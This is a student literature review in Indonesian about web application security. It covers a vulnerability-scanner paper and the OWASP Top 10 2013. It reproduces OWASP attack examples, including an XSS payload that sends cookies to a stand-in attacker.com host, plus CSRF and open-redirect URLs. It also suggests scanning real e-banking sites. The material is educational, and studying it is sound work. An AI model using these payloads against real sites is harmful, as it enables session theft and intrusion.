View
64
Download
10
Category
Preview:
DESCRIPTION
Sebuah Literatur terhadap analisis keamanan aplikasi web berdasarkan OWASP. Adapun literatur review ini dilakukan terhadap 2 literatur. Berikut ini litertatur yang di reviewKesuma, M. C., Shiddiqi, A. M., & Pratomo, B. A. (2012). Pencari Celah Keamanan pada Aplikasi Web. Paper and Presentation of Informatic Engineering, RSIf 005.8 Kes P, 2013, 1–6. Retrieved from http://digilib.its.ac.id/public/ITS-paper-25617-5108100006-Paper.pdfWichers, D., Williams, J., & Stock, A. Van Der. (2013). OWASP Top 10 - 2013 rc1, 1–23. Retrieved from http://owasptop10.googlecode.com/files/OWASP Top 10 - 2013 - RC1.pdf
Citation preview
LITERATURE REVIEW Dilakukan untuk Melakukan Penelitian dengan Topik :
Analisa Keamanan Aplikasi Web Berdasarkan OWASP
Mata Kuliah : Layanan dan Aplikasi Web Dosen Pengajar : Bayu Distiawan Trisedya, S. Kom, M. Kom
DISUSUN OLEH :
KELOMPOK 1
AHMAD FARISI 1406595930 SISKA DEVELLA 1406661264
MAGISTER ILMU KOMPUTER
UNIVERSITAS INDONESIA Semester Genap Tahun Akademik 2014/2015
1 | P a g e
LITERATUR 1
2 | P a g e
1 DETIL LITERATUR
Judul : Pencari Celah Keamanan pada Aplikasi Web
Penulis : 1. Muhammad Chandrika Kesuma
2. Ary Mazharuddin Shiddiqi
3. Baskoro Adi Pratomo
Tahun Terbut : 2012
Jurnal : Paper and Presentation of Informatic Engineering, RSIf 005.8 Kes p, 2013
Abstrak :
Kejahatan di dunia teknologi dan informasi terutama pada aplikasi web semakin marak
terjadi.Salah satu faktor yang menyebabkan kurangnya tingkat keamanan pada aplikasi web adalah
kesalahan penulisan kode program. Kesalahan penulisan kode program dalam pembuatan aplikasi web
adalah hal yang sering dimanfaatkan oleh para penyerang, hal ini mengakibatkan rata-rata aplikasi
web bisa diserang dengan memanfaatkan kesalahan ini. Kelemahan-kelemahan yang sering
dimanfaatkan oleh para penyerang diantaranya adalah kelemahan terhadap SQL Injection, XSS, Remote
File Inclusion, dan Username Enumeration.
Salah satu cara untuk mendeteksi adanya kelemahan-kelemahan pada aplikasi web adalah dengan
menggunakan aplikasi pencari celah keamanan.Aplikasi pencari celah keamanan ini dimaksudkan untuk
mendeteksi secara otomatis apakah suatu aplikasi web memiliki kerentanan terhadap suatu serangan.
Aplikasi ini akan mencari celah keamanan suatu situs web terhadap 4 metode serangan, yaitu :SQL
Injection, XSS (Cross-site Scripting), RFI (Remote File Inclusion), dan Username Enumeration.
Dari hasil uji coba,aplikasi ini bisa memberikan informasi tentang dimana letak celah keamanan
yang terdapat pada suatu aplikasi web terhadap metode-metode serangan yang diujikan.Serangan SQL
Injection, XSS, dan RFI dapat dihindari dengan cara melakukan sanitasi terhadap masukan dari
pengguna.
Kata Kunci : RFI, SQL Injection, Username Enumeration, XSS
2 PEMBAHASAN LITERATUR
2.1. Mengapa Penelitian Dilakukan?
Penelitian tentang Pencari Celah Keamanan pada Aplikasi Web ini dilakukan dengan melihat
fenomena banyaknya kejahatan yang terjadi di dunia teknologi informasi. Peneliti melihat sudut pandang
keamanan tersebut dari sisi aplikasi web, bukan dari sudut pandang infrastruktur jaringan yang ada di
belakang aplikasi web.
3 | P a g e
Penelitian ini menyoroti akibat yang ditimbulkan oleh kesalahan penulisan kode program.
Kesalahan tersebut yang sering dimanfaatkan oleh para penyerang. Kelemahan-kelemahan penulisan
kode program yang sering dimanfaatkan oleh para penyerang dalam menyerang aplikasi web di antaranya
adalah SQL Injection dan Cross Site Scripting (XSS). Hal tersebut dapat ditunjukkan pada diagram
berikut ini.
Gambar 1. 1. Diagram serangan pada aplikasi web
Dari gambar diagram yang dirilis oleh webappsec.org (2011) di atas, dapat dilihat bahwa
serangan pada aplikasi web melalui SQL Injection mencapai 20% dan XSS mencapai 9,9%, sementara
persentase tertinggi 22,5% belum diketahui. Hal ini sesuai dengan dokumen yang dirilis oleh OWASP
(Open Web Application Security Project) tentang 10 celah teratas pengancam website. Dua di antaranya
adalah SQL Injection dan XSS.
Selain dari SQL Injection dan XSS, peneliti juga menyoroti metode lain yang sering digunakan
untuk menyerang aplikasi web. Metode-metode tersebut adalah Username Enumeration dan Remote File
Inclusion (RFI).
Berangkat dari permasalahan di atas peneliti membuat aplikasi yang digunakan untuk melihat
ketahanan aplikasi web terhadap SQL Injection, XSS, Username Enumeration, dan RFI. Atau dengan
kata lain peneliti membuat aplikasi untuk mencari celah (mendeteksi) keamanan yang mungkin terdapat
pada aplikasi web. Adapun aplikasi yang dibuat oleh peneliti adalah aplikasi desktop yang dibangun
dengan bahasa pemrograman java.
4 | P a g e
2.2. Bagaimana Cara Melakukannya?
Secara umum, cara kerja aplikasi yang dibangun oleh peneliti adalah sebagai berikut.
1. Aplikasi melakukan request berupa URL ke server.
2. Server memberikan respon berupa HTML.
3. Aplikasi melakukan proses scan terhadap respon HTML dan menginjeksikan script injeksi.
4. Server memberikan respon berupa HTML.
5. Aplikasi melakukan proses scan terhadap respon HTML untuk memeriksa hasil proses injeksi.
6. Aplikasi memberikan laporan hasil proses scan.
Aplikasi yang dibangun oleh peneliti memberikan keluaran status kerentanan dari aplikasi web.
Status tersebut adalah rentan (vulnerable) atau tidak rentan (not vulnerable). Flow chart dari cara kerja
aplikasi adalah sebagai berikut.
STARTAplikasi melakukan
request berupa URL
Server memberikan
respon berupa HTML
Melakukan proses
scanning terhadap respon
HTML
Menginjeksikan Script
Penyerangan
Scanning respon HTML
setelah proses injeksi
Apakah Injeksi
Berhasil
Vulnerable Tidak Vulnerable
TIDAK
YA
END
Gambar 1. 2. Flow Chart aplikasi
5 | P a g e
2.3. Bagaimana Hasil Penelitiannya?
Peneliti melakukan pengujian terhadap serangan SQL Injection, XSS, Username Enumeration,
dan RFI. Adapun parameter keberhasilan pengujian yang dilakukan oleh peneliti dikatakan valid ketika
hasil pengujian aplikasi yang diuji coba secara manual memberikan hasil yang sama dengan keluran
aplikasi.
Adapun pengujian-pengujian yang dilakukan oleh peneliti adalah sebagai berikut.
Tabel 1. 1. Hasil Pengujian Aplikasi
No URL Serangan Uji Coba
Aplikasi
Uji Coba
Manual Kesimpulan
1 its.ac.id/personal/p
ublikasi.php?idJur
nal=.....
XSS Vulnerable Berhasil
terinjeksi
Valid
2 localhost/webTA SQL Injection Vulnerable Berhasil
terinjeksi
Valid
3 localhost/cake/inde
x.php
RFI Vulnerable Berhasil
terinjeksi
Valid
4 localhost/webTA Username
Enumeration
Vulnerable Berhasil
terinjeksi
Valid
Hasil uji coba aplikasi di atas menunjukkan bahwa semua URL berstatus vulnerable atau dengan
kata lain, semua URL rentan terhadap serangan XSS, SQL Injection, RFI, dan Username Enumeration.
3 KESIMPULAN
Hasil penelitian ini menunjukkan pentingnya keamanan dalam aplikasi web. Hasil penelitian juga
menunjukkan semua URL yang diuji coba menunjukkan status vulnerable yang berarti rentan terhadap
serangan-serangan seperti XSS, SQL Injection, RFI, dan Username Enumeration.
Penelitian ini dapat dilanjutkan dengan menguji tingkat kerentanan terhadap serangan-serangan
yang lain selain dari XSS, SQL Injection, RFI, dan Username Enumeration. Parameter serangan-serangan
tersebut dapat dilihat juga dari Web Database Insident Hacking (WHID) yang menunjukkan metode-
metode serangan yang lebih banyak dan dapat diteliti lebih lanjut. Adapun data-data WHID tahun 2011
tersebut adalah sebagai berikut.
6 | P a g e
Gambar 1. 3. Serangan aplikasi web versi WHID tahun 2011
Pada akhir literatur review ini, kami menemukan sedikit kelemahan pada penelitian ini. Adapun
kelemahan tersebut menurut kami terletak pada URL yang diuji coba oleh peneliti dalam menguji
kerentanan serangan-serangan XSS, SQL Injection, RFI, dan Username Enumeration. Peneliti
menggunakan tiga URL pada server local untuk menguji kerentanan tersebut. Seharusnya peneliti lebih
banyak menambahkan URL-URL lain yang bukan URL dari server local. Misalnya, menguji URL-URL
aplikasi web dari website-website e-Banking, e-Commerce, atau yang lainnya. Dari sana, peneliti dapat
melihat persentase status kerentanan URL-URL tersebut terhadap serangan-serangan XSS, SQL Injection,
RFI, dan Username Enumeration per kategori website.
4 REFERENSI
Kesuma, M. C., Shiddiqi, A. M., & Pratomo, B. A. (2012). Pencari Celah Keamanan pada Aplikasi
Web. Paper and Presentation of Informatic Engineering, RSIf 005.8 Kes P, 2013, 16. Retrieved from http://digilib.its.ac.id/public/ITS-paper-25617-5108100006-Paper.pdf
Wichers, D., Williams, J., & Stock, A. Van Der. (2013). OWASP Top 10 - 2013 rc1, 123. Retrieved from http://owasptop10.googlecode.com/files/OWASP Top 10 - 2013 - RC1.pdf
7 | P a g e
LITERATUR 2
8 | P a g e
1 DETIL LITERATUR
Judul : OWASP Top 10 - 2013 rc1 The Ten Most Critical Web Application Security Risk
Penulis : 1. Dave Wichers
2. Jeff Williams
3. Andrew Van Der Stock
Tahun Terbut : 2013
Buku : Copyright 2003 2013 The OWASP Foundation
Abstrak :
The OWASP Top 10 is based on risk data from 8 firms that specialize in application security,
including 4 consulting companies and 4 tool vendors (2 static and 2 dynamic). This data spans over
500,000 vulnerabilities across hundreds of organizations and thousands of applications. The Top 10
items are selected and prioritized according to this prevalence data, in combination with consensus
estimates of exploitability, detectability, and impact estimates. The primary aim of the OWASP Top 10
is to educate developers, designers, architects, managers, and organizations about the consequences of
the most important web application security weaknesses. The Top 10 provides basic techniques to protect
against these high risk problem areas and also provides guidance on where to go from here.
2 PEMBAHASAN LITERATUR
Menurut OWASP (Open Web Application Security Project) terdapat sepuluh jenis serangan
keamanan pada aplikasi web yang sering terjadi. OWASP sendiri adalah sebuah komunitas non profit
yang bertujuan dalam mengembangkan metodologi, program, dokumentasi yang berhubungan dengan
keamanan pada aplikasi web. Berikut sepuluh jenis serangan keamanan pada web aplikasi yang dirilis
pada tahun 2013.
Tabel 2. 1. Jenis Serangan Keamanan
A1 Injection
A2 Broken Autentification and Session Management
A3 Cross-Site Scipting (XSS)
A4 Insecure Direct Object References
A5 Security Misconfiguration
9 | P a g e
A6 Sensitive Data Exposure
A7 Missing Fuction Level Access Control
A8 Control-Site Request Forgery (CSRF)
A9 Using Known Vulnerable Components
A10 Unvalidated Redirects and Forwards
2.1. Resiko Keamanan Aplikasi
Penyerang berpotensi mengunakan berbagai cara melalui aplikasi untuk membahayakan bisnis
atau suatu organisasi. Masing-masing jalur tersebut adalah resiko yang mungkin atau tidak mungkin, dan
cukup serius untuk memperoleh perhatian.
Gambar 2. 1. Alur serangan pada aplikasi
2. 2. OWASP Risk Rating Methodology
a. Step 1: Mengidentifikasi Risiko
Langkah pertama adalah mengidentifikasi resiko keamanan yang perlu dinilai. Tester perlu
mengumpulkan informasi tentang ancaman yang terlibat, serangan yang akan digunakan, kerentanan
yang terlibat, dan dampak yang berhasil dalam mengeksploitasi bisnis.
b. Step 2: Faktor Memperkirakan Kemungkinan
Setelah tester mengidentifikasi resiko dan mencari tau seberapa serius resiko tersebut, langkah kedua
adalah memperkirakan kemungkinan. Ada sejumlah faktor yang dapat membantu menentukan
kemunkinan tersebut. Salah satunya adalah faktor yang berhubungan dengan ancaman yang terlibat,
hal ini bertujuan untuk memperkirakan kemungkinan serangan dari sekelompok penyerang.
10 | P a g e
c. Step 3: Faktor Perkiraan Dampak
Ketika mempertimbangkan dampak dari keberhasilan sebuah serangan, penting untuk menyadari
bahwa ada dua macam dampak yaitu "dampak teknis" pada aplikasi, data dan fungsi-fungsi yang
disediakan, serta "dampak bisnis" pada bisnis atau organisasi yang mengoperasikan aplikasi.
d. Step 4: Menentukan Beratnya Resiko
Dalam langkah ini perkiraan kemungkinan dan perkiraan dampak yang disatukan untuk menghitung
keseluruhan beratnya untuk risiko ini.
e. Step 5: Memutuskan untuk memperbaiki
Setelah risiko terhadap aplikasi telah diklasifikasikan akan ada daftar prioritas apa yang harus
diperbaiki. Sebagai aturan umum, risiko yang paling parah harus diperbaiki terlebih dahulu.
f. Step 6: Menyesuaikan Risk Rating Model
Memiliki kerangka risk rating yang disesuaikan untuk bisnis adalah penting untuk diterapkan.
2. 3. Injection
Gambar 2. 2. A1 - Injection
Pada diagram di atas yang dimaksud orang melakukan serangan injection adalah setiap orang
yang mengirimkan data yang tidak benar ke server melalui web application sebagai bagian dari perintah
atau permintaan. Data tersebut dapat berupa data yang sederhana atau data yang rumit.
11 | P a g e
2. 4. Broken Autentification and Session Management
Gambar 2. 3. A2 - Broken Autentification and Session Management
Fungsi aplikasi yang berhubungan dengan otentikasi dan manajemen sesi sering tidak diterapkan
dengan benar, memungkinkan penyerang untuk membahayakan atau mengambil password, key, atau
token sesi, atau mengeksploitasi kelemahan pelaksanaan lainnya untuk mendapatkan identitas pengguna.
Apakah Aset manajemen sesi seperti kredensial pengguna dan Sesi ID benar dilindungi?
Mungkin terjadi kerentanan jika :
1. Pengguna autentifikasi tidak dilindungi saat disimpan menggunakan hashing atau enkripsi.
2. Kredensial bisa ditebak atau diganti melalui kelemahan dari fungsi manajemen account (misalnya,
pembuatan akun, mengubah password, memulihkan password, session ID yang lemah).
3. Sesi ID yang terexpose di URL (misalnya, penulisan ulang URL).
4. ID Sesi rentan terhadap serangan session fixation.
5. Sesi ID tidak timeout, atau sesi pengguna atau token otentikasi, terutama single sign-on (SSO) token,
tidak benar melakukan validasi saat logout.
6. ID sesi tidak dirotasikan setelah berhasil login
7. Sandi, session ID, dan kredensial lainnya dikirim melalui koneksi terenkripsi.
Contoh Skenario serangan :
Skenario # 1: pemesanan Airline aplikasi mendukung penulisan ulang URL, menempatkan ID sesi
dalam URL: http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest
=Hawaii
12 | P a g e
Pengguna mengkonfirmasi situs agar membiarkan orang lain mengetahuinya. Target
mengirimkan e-mail link di atas tanpa tahu bahwa telah memberikan ID sesi nya. Orang lain
menggunakan link tersebut, makan orang lain tersebut juga menggunakan ID sesi dan kartu kreditnya.
Skenario # 2: timeout Aplikasi tidak diatur dengan benar. Pengguna menggunakan komputer umum ke
situs akses. Alih-alih memilih "logout" pengguna hanya menutup tab browser dan meninggalkannya.
Penyerang menggunakan browser yang sama satu jam kemudian, dan browser masih dikonfirmasi.
Skenario # 3: Eksternal penyerang memperoleh akses ke sistem database password. Password pengguna
tidak di-hash dengan benar, sehingga memperlihatkan password setiap pengguna ke penyerang.
2. 5. Cross-Site Scipting (XSS)
Gambar 2. 4. A3 - Cross-Site Scipting (XSS)
XSS memungkinkan penyerang untuk mengeksekusi skrip pada browser target yang dapat
membajak sesi target, merusak situs web, atau mengarahkan target ke situs berbahaya.
Contoh skenario penyerangan :
Aplikasi ini menggunakan data yang tidak dipercaya dalam pembangunan berikut potongan
HTML tanpa validasi.
(String) page += "
13 | P a g e
Penyerang memodifikasi 'CC' parameter dalam browser-nya ke:
'>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cooki
e'
Penyerang menyebabkan sesi ID target untuk dikirim ke situs penyerang, yang memungkinkan
penyerang untuk membajak sesi target.
2. 6. Insecure Direct Object References
Gambar 2. 5. A4 - Insecure Direct Object References
Suatu celah yang terjadi saat pembuat aplikasi web mengekspos referensi internal penggunaan
objek, seperti file, direktori, database record. Tanpa pemeriksaan kontrol akses atau perlindungan lainnya,
penyerang dapat memanipulasi referensi ini untuk mengakses data yang tidak sah. Semua framework
aplikasi web rentan terhadap Insecure Direct Object References.
Misalnya, dalam aplikasi Internet Banking, biasanya menggunakan nomor rekening sebagai
keyword. Oleh karena itu, sangat menarik untuk menggunakan nomor rekening langsung di interface web.
Bahkan jika pengembang telah menggunakan parameter query SQL untuk mencegah SQL injection, jika
tidak ada pemeriksaan tambahan bahwa pengguna adalah pemegang rekening dan berwenang untuk
melihat account, penyerang dapat melihat atau mengubah semua account.
Contoh skenario penyerang :
Aplikasi ini menggunakan data yang belum diverifikasi dalam panggilan SQL yang mengakses
informasi account:
14 | P a g e
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connection.prepareStatement(query , );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
Penyerang hanya memodifikasi 'acct' parameter pada browsernya untuk mengirim account
number apa pun yang dia inginkan. kalau tidak diverifikasi dengan benar, penyerang dapat mengakses
akun setiap target.
2. 7. Security Misconfiguration
Gambar 2. 6. A5 - Security Misconfiguration
Keamanan yang baik membutuhkan konfigurasi yang aman dan digunakan untuk aplikasi,
kerangka, server aplikasi, server web, database server, dan platform. Pengaturan keamanan harus
didefinisikan, diimplementasikan, dan dipelihara. Selain itu software harus selalu up to date.
Contoh skenario penyerang :
Skenario # 1: The app server admin console secara otomatis diinstal dan tidak dihapus. Account default
tidak berubah. Penyerang menemukan halaman admin standar berada di server Anda, log in dengan
password default, dan mengambil alih.
15 | P a g e
Skenario # 2: daftar direktori tidak dinonaktifkan pada server Anda. Penyerang menemukan daftar
tersebut untuk menemukan file apapun. Penyerang menemukan dan mendownload semua kompilasi
kelas Java Anda. Kemudian menemukan kontrol akses cacat serius dalam aplikasi Anda.
Skenario # 3: App konfigurasi server memungkinkan jejak stack dikembalikan ke pengguna, yang
berpotensi mengekspos kelemahan. Penyerang menyukai information error messages yang disediakan.
Skenario # 4: App server dilengkapi dengan sample applications yang tidak dihapus dari server produksi
Anda. Sample applications telah dikenal baik akan kelemahan keamanan, penyerang dapat
menggunakannya untuk membahayakan server Anda.
2. 8. Sensitive Data Exposure
Gambar 2. 7. A6 - Sensitive Data Exposure
Banyak aplikasi web tidak benar dalam melindungi data sensitif, seperti kartu kredit, ID pajak,
dan autentifikasi. Penyerang dapat mencuri atau memodifikasi data yang lemah perlindungannya tersebut
untuk melakukan penipuan kartu kredit, pencurian identitas, atau kejahatan lainnya. Data sensitif layak
mendapatkan perlindungan ekstra seperti enkripsi saat rest atau dalam transit, serta tindakan pencegahan
khusus bila pertukaran browser.
Contoh skenario penyerang :
Skenario # 1: Sebuah aplikasi mengenkripsi nomor kartu kredit dalam database menggunakan enkripsi
database otomatis. Namun, ini berarti juga mendekripsi data tersebut secara otomatis ketika diambil,
16 | P a g e
memungkinkan terjadinya kecacatan dalam injeksi SQL untuk mengambil nomor kartu kredit dalam
bentuk teks. Sistem harus mengekripsi nomor kartu kredit menggunakan kunci publik, dan hanya
diperbolehkan aplikasi back-end untuk mendekripsi mereka dengan kunci pribadi.
Skenario # 2: Situs sederhana tidak menggunakan SSL untuk semua halaman autentifikasi. Penyerang
hanya memonitor lalu lintas jaringan (seperti jaringan nirkabel), dan mencuri sesi cookie pengguna.
Penyerang kemudian replay cookie ini dan membajak sesi pengguna, mengakses data pribadi pengguna.
Skenario # 3: Database password menggunakan hash untuk menyimpan password semua orang. Sebuah
cacat dalam upload file memungkinkan penyerang untuk mengambil file password. Semua unsalted hash
dapat terekspos dengan rainbow table hash precalculated.
2. 9. Missing Fuction Level Access Control
Gambar 2. 8. A7 - Missing Fuction Level Access Control
Sebagian besar aplikasi web memverifikasi function level access sebelum membuat fungsi terlihat
di UI. Namun, aplikasi perlu melakukan pemeriksaan kontrol akses yang sama pada server ketika
masing-masing fungsi diakses. Jika permintaan tidak diverifikasi, penyerang akan dapat menempa
permintaan untuk mengakses fungsi tanpa otorisasi yang tepat. Semua framework aplikasi web rentan
terhadap kegagalan untuk membatasi akses URL.
17 | P a g e
Skenario # 1: Penyerang menelusuri untuk menargetkan URL. URL berikut memerlukan otentikasi. Hak
admin juga diperlukan untuk mengakses halaman "admin_getappInfo".
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
Jika pengguna tidak berkepentingan dapat mengakses salah satu halaman tersebut, itu sebuah kecacatan.
Jika dikonfirmasi, non-admin, user diijinkan untuk mengakses halaman "admin_getappInfo", ini juga
sebuah kecacatan.
Skenario # 2: Sebuah halaman memberikan 'action' parameter untuk menentukan fungsi yang dipanggil,
dan tindakan yang berbeda membutuhkan peran yang berbeda. Jika peran ini tidak ditegakkan, itu sebuah
kecacatan.
2.10. Control-Site Request Forgery (CSRF)
Gambar 2. 9. A8 - Control-Site Request Forgery (CSRF)
Sebuah serangan CSRF memaksa browser target log-on untuk mengirimkan permintaan HTTP
palsu, termasuk sesi cookie target dan informasi otentikasi otomatis, untuk aplikasi web yang rentan atau
memiliki celah. Hal ini memaksa browser target untuk melakukan sesuatu yang menguntungkan
penyerang.
18 | P a g e
Aplikasi ini memungkinkan pengguna untuk mengirimkan permintaan mengubah state / kondisi. Sebagai
contoh:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
Jadi, penyerang membangun permintaan yang akan mentransfer uang dari rekening target ke rekening
penyerang, dan kemudian melekatkan serangan ini dalam permintaan gambar atau iframe yang tersimpan
di berbagai situs di bawah kendali penyerang:
19 | P a g e
2.12. Unvalidated Redirects and Forwards
Gambar 2. 11. A10 - Unvalidated Redirects and Forwards
Aplikasi web sering mengarahkan dan meneruskan pengguna ke halaman lain atau website lain,
dan menggunakan data yang tidak dipercaya untuk menentukan halaman tujuan. Tanpa validasi yang
tepat, penyerang dapat mengarahkan target ke situs phishing atau malware, atau menggunakan forward
untuk mengakses halaman yang tidak sah.
Contoh skenario penyerang :
Skenario # 1: Aplikasi ini memiliki halaman yang disebut "redirect.jsp" yang mengambil parameter
tunggal bernama "url". Penyerang memberikan URL berbahaya yang mengarahkan pengguna ke situs
berbahaya yang melakukan phishing dan menginstal malware.
http://www.example.com/redirect.jsp?url=evil.com
Skenario # 2: Aplikasi menggunakan forward untuk permintaan rute antara bagian yang berbeda dari
situs. Untuk memfasilitasi ini, beberapa halaman menggunakan parameter untuk menunjukkan di mana
pengguna harus dikirim jika transaksi berhasil. Dalam hal ini, penyerang memberikan URL yang akan
melewati kontrol akses cek aplikasi dan kemudian meneruskan penyerang untuk mengambil fungsi
administrasi dimana penyerang tidak memiliki wewenang.
http://www.example.com/boring.jsp?fwd=admin.jsp
Recommended